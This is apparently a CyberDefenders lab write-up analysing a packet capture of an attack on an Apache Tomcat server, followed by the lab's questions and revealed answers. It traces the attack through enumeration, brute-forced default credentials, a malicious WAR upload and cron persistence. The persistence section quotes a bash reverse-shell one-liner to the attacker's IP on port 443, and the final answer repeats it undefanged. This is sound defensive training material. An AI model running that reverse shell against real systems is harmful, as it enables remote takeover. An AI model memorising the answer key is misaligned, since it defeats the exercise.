// CyberDefenders  ·  writeup

Tomcat Takeover

CyberDefenders Wireshark

Scenario

Overview

A web server on the company intranet was flagged for suspicious activity. A PCAP was captured for analysis. The goal was to reconstruct the full attack chain — from initial reconnaissance through to persistence — against an Apache Tomcat web server.


Investigation

Identifying the Attacker

With only one external IP address present in the capture, the attacker was immediately identifiable. tomcat_conversion.webp Geolocation placed the source IP in China.

Attacker IP: 14[.]0[.]0[.]120 tomcat_geolocation.webp

Reconnaissance

Filtering by attacker IP and HTTP traffic revealed a port scan followed by directory enumeration activity consistent with Gobuster:

ip.addr == 14.0.0.120 && http

tomcat_gobuster.webp The scan uncovered several open ports. Port 8080 was identified as exposing the Tomcat admin panel.


Directory Enumeration

HTTP stream analysis confirmed Gobuster was used to enumerate directories. The attacker successfully discovered the /manager endpoint — Tomcat’s web application manager interface.


Credential Brute Force

With the admin panel located, the attacker brute-forced credentials. The successful login was:

Username: admin
Password: tomcat tomecat_auth.webp


WAR File Upload / Reverse Shell

Following authentication to /manager, the attacker uploaded a malicious WAR file to deploy a reverse shell:

Filename: JXQOZY.war

HTTP stream analysis of the POST request confirmed the upload. Following the resulting TCP stream revealed the attacker’s shell session.

tomcat_shellupload.webp


Persistence

After establishing the reverse shell, the attacker scheduled a cron job to maintain persistent access:

Scheduled command:

/bin/bash -c 'bash -i >& /dev/tcp/14[.]0[.]0[.]120/443 0>&1'

tomcat_revshell.webp


MITRE ATT&CK

TechniqueIDDescription
Network Service ScanningT1046Port scan to identify open services
Brute ForceT1110Credential brute-force against Tomcat manager
Deploy Container / Server SoftwareT1505.003WAR file upload for server-side execution
Command and Scripting Interpreter: Unix ShellT1059.004Bash reverse shell
Scheduled Task/Job: CronT1053.003Cron-based persistence

IOCs

TypeValue
Attacker IP14[.]0[.]0[.]120
Attacker CountryChina
Admin Port8080
Enumeration ToolGobuster
Admin Directory/manager
Credentialsadmin:tomcat
Malicious FileJXQOZY.war
C2 Callback14[.]0[.]0[.]120:443

Lessons Learned


References

MITRE ATT&CK T1505.003 - Server Software Component: Web Shell


Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?
Click flag to reveal14.0.0.120
Based on the identified IP address associated with the attacker, can you identify the country from which the attacker's activities originated?
Click to reveal answerchina
From the PCAP file, multiple open ports were detected as a result of the attacker's active scan. Which of these ports provides access to the web server admin panel?
Click flag to reveal8080
Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?
Click to reveal answergobuster
After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover?
Click flag to reveal/manager
After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login?
Click to reveal answeradmin:tomcat
Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?
Click flag to revealJXQOZY.war
After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?
Click to reveal answer/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'